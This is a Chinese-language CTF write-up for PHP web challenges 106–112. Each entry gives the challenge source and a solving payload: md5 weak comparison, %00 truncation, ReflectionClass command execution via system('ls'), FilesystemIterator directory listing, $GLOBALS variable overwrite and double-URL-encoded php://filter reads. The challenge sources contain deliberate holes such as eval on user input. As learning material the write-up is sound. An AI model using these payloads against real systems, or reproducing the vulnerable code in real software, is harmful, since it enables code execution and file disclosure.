总结
1.md5弱碰撞总结过了2.108正则的%00截断3.反射类的使用4.Filesystemlterator内置类的使用及其遍历+getcwd()返回当前工作路径5.超级全局变量的变量覆盖6.URL二次编码绕过
106 md弱碰撞
源码
<?phphighlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2) && $v1!=$v2){echo $flag;}}?>
md5弱比较,上个系列说过了
107 md5弱碰撞
源码
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;}}?>
看到了个没见过的函数
<?phpparse_str("name=Bill&age=60");echo $name."<br>";echo $age;?>输出Billage如果传了两个参数,第二个参数是个数字,那么就是存储为数字的形式
但是其实题目没啥好讲的,$v2[‘flag’]==md5($v3),那么md($v3)就是一个弱碰撞,$v2[‘flag’]的值就给个0就好了
payload:
?v3=aabg7XSspost:v1=flag=0
108 %00截断
源码
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){echo $flag;}?>
讲解一下几个函数
ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的.类似于正则吧strrev()反转字符串
所以这里需要满足以ereg的^[a-zA-Z]+$,还要满足strrev
直接%00截断
上传a%00778
109 反射类的使用
源码
<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>
payload:
?v1=ReflectionClass&v2=system('ls')
110
源码
<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>
过滤了很多东西包括’ (所以上一题的payload就不能用了
看了一下提示 考察点是 FilesystemIterator
学习一下
<?php$a = new FilesystemIterator('./263');while($a->valid()) //判断是否到底{echo $a->getFilename();echo "\r\n";$a -> next();}?>输出:check.phpcssflag.phpincindex.phpjs
再学习一下 getcwd()函数:获取当前工作目录 返回当前工作目录
所以payload如下:
?v1=FilesystemIterator&v2=getcwd
FilesystemIterator(getcwd()),就是返回当前目录的文件,但是这道题目只能返回一个,因为没有遍历
发现fl36dag.txt直接访问
111 变量覆盖+超级全局变量
源码
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);}if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}}?>
看题解的一题
前两个if$v1 $v2被过滤了很多字母和数字,但是没有过滤大小写字母
第三个if要求$v1必须是ctfshow
这里要讲解一下超级全局变量$GLOBAS:引用全局作用域中可用的全部变量
我们$v1定下来是ctfshow,如果$v2传入一个GLOBALS
那么在下面这串代码中会出现变量覆盖
function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);}//$$v1-->$ctfshow $$v2-->$GLOBALS &$$v2就是超级全局变量的地址 感觉要不要这个&都行emm
最后输出$$v1—>$ctfshow就是所有的全局变量,就能得到flag了
112 二次url编码绕过
源码
<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}}$file=$_GET['file'];if(! is_file($file)){highlight_file(filter($file));}else{echo "hacker!";}
filter是一个对$file的过滤函数
假如我们直接用php伪协议读取文件
php://filter/read=convert.base64-encode/resource=flag.php
会被正则匹配到 然后die出hacker
我们知道在进行一次url访问的时候,浏览器会自动对url进行一次解码,但是如果我们对于b进行了两次url编码,那么就可以绕过filter的过滤
payload
php://filter/read=convert.%25%36%32ase64-encode/resource=flag.php
